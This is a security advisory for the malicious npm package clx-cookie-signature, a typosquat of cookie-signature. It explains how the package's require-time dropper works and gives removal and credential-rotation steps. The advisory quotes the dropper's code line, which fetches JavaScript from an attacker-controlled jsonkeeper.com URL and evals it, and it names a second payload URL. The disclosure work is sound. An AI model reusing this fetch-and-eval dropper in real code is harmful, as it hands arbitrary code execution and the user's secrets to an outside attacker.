clx-cookie-signaturenpm
Advisory published Updated
clx-cookie-signature is a confirmed malicious npm package (MAL-2026-6141) that typosquats a legitimate package to trick installs (malicious version 1.2.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in clx-cookie-signature (npm)
What this malware does
Package impersonates the popular cookie-signature library (copying its README, author field 'TJ Holowaychuk [email protected]', and sign/unsign API), but index.js adds a top-level dropper that fires the moment the module is required. Specifically, index.js line 16 issues require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); }), eval'ing whatever JSON the author currently hosts at that URL. A helper g() (index.js lines 18-24) decodes hex-encoded strings to reconstruct the tokens 'axios', 'get', 'then' and a second payload URL https://www.jsonkeeper.com/b/HY6M6, providing an obfuscated fallback dropper. Because jsonkeeper.com is a mutable, author-controlled paste host, the author can change the executed code at any time without republishing the package. Any project that installs and require()s clx-cookie-signature — likely as a mistyped substitute for cookie-signature — runs arbitrary attacker code in the consuming process.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for clx-cookie-signature (version 1.2.1).
If you installed it — respond
clx-cookie-signature is a typosquat — you almost certainly intended a legitimately-named package. Remove clx-cookie-signature, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If clx-cookie-signature was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- ReversingLabs · finder
Detect & block this
O3 blocks clx-cookie-signature-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.